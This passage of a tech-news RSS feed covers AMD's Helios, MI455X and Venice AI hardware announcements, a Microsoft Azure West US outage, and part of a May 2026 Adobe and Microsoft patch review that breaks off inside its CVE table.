<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:07 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft explains why its West US Azure and cloud services failed]]></title>
<description><![CDATA[Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.



Micro...]]></description>
<link>https://tsecurity.de/de/3694765/ai-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694765/ai-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.</p>



<p class="wp-block-paragraph">Microsoft has now published a Preliminary Post Incident Review (PIR) of the incident, reporting that connectivity was lost for five hours between 14.44 UTC (7.44 a.m. Pacific Time) and 19.41 UTC on July 23. The problem was caused when a set of IP routes was removed in error while isolating a device for routine maintenance.<strong></strong></p>



<p class="wp-block-paragraph">Before starting the maintenance work, Microsoft checked that at least one of the two redundant paths to the facility remained operational. When it came to starting the work, however, automated systems included some additional devices in the perimeter to be isolated, and removing some IP routes that had not been included in the initial assessment.</p>



<p class="wp-block-paragraph">Customers discovered the problems very quickly, and engineers identified the issue within the first hour and started to reconnect services.  Microsoft said the disruption had been caused by some “recent fiber maintenance activity”.</p>



<p class="wp-block-paragraph">To minimize the risk of disruption from such errors in the future, Microsoft advised organizations handling mission-critical data to consider a multi-region approach.</p>



<p class="wp-block-paragraph">The Azure outage was the second significant one to hit Microsoft this year. In February, <a href="https://www.networkworld.com/article/4127142/azure-outage-disrupts-vms-and-identity-services-for-over-10-hours.ht">there was a 10-hour disruption to US West and US East regions</a>.</p>



<p class="wp-block-paragraph"><em>This article first appeared on Network World.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The May 2026 Security Update Review]]></title>
<description><![CDATA[I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patch...]]></description>
<link>https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.</p><p class=""><strong>Adobe Patches for May 2026</strong></p><p class="">For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-49.html" target="_blank">APSB26-49</a></td>
    <td>Adobe Commerce</td>
    <td>15</td>
    <td>Critical</td>
    <td>8.7</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-48.html" target="_blank">APSB26-48</a></td>
    <td>Adobe After Effects</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-50.html" target="_blank">APSB26-50</a></td>
    <td>Adobe Connect</td>
    <td>2</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-51.html" target="_blank">APSB26-51</a></td>
    <td>Adobe Illustrator</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-47.html" target="_blank">APSB26-47</a></td>
    <td>Adobe Media Encoder</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html" target="_blank">APSB26-46</a></td>
    <td>Adobe Premiere Pro</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-55.html" target="_blank">APSB26-55</a></td>
    <td>Adobe Substance 3D Painter</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-54.html" target="_blank">APSB26-54</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html" target="_blank">APSB26-53</a></td>
    <td>Content Authenticity SDK</td>
    <td>14</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html" target="_blank">APSB26-52</a></td>
    <td>Adobe Substance 3D Designer</td>
    <td>5</td>
    <td>Important</td>
    <td>6.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>10 bulletins</td>
    <td>52</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.</p><p class=""><strong>Microsoft Patches for May 2026</strong></p><p class="">This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.</p><p class="">This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><strong>CVE-2026-41096</strong></a><strong> - Windows DNS Client Remote Code Execution Vulnerability<br></strong>This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><strong>CVE-2026-41089</strong></a><strong> - Windows Netlogon Remote Code Execution Vulnerability<br></strong>This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><strong>CVE-2026-42898</strong></a><strong> - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability<br></strong>This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><strong>CVE-2026-40415</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.</p><p class="">Here’s the full list of CVEs released by Microsoft for May 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-May-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35435"><span>CVE-2026-35435</span></a></td>
  <td width="256" class="xl73">Azure AI Foundry
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35428"><span>CVE-2026-35428</span></a></td>
  <td width="256" class="xl73">Azure Cloud Shell
  Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42826"><span>CVE-2026-42826</span></a></td>
  <td width="256" class="xl73">Azure DevOps
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">10</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32207"><span>CVE-2026-32207</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33109"><span>CVE-2026-33109</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33844"><span>CVE-2026-33844</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41105"><span>CVE-2026-41105</span></a></td>
  <td width="256" class="xl73">Azure Monitor Action
  Group Notification System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33111"><span>CVE-2026-33111</span></a></td>
  <td width="256" class="xl73">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26129"><span>CVE-2026-26129</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26164"><span>CVE-2026-26164</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33821"><span>CVE-2026-33821</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Customer Insights Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><span>CVE-2026-42898</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40379"><span>CVE-2026-40379</span></a></td>
  <td width="256" class="xl73">Microsoft Enterprise
  Security Token Service (ESTS) Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40363"><span>CVE-2026-40363</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40358"><span>CVE-2026-40358</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34327"><span>CVE-2026-34327</span></a></td>
  <td width="256" class="xl73">Microsoft Partner
  Center Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
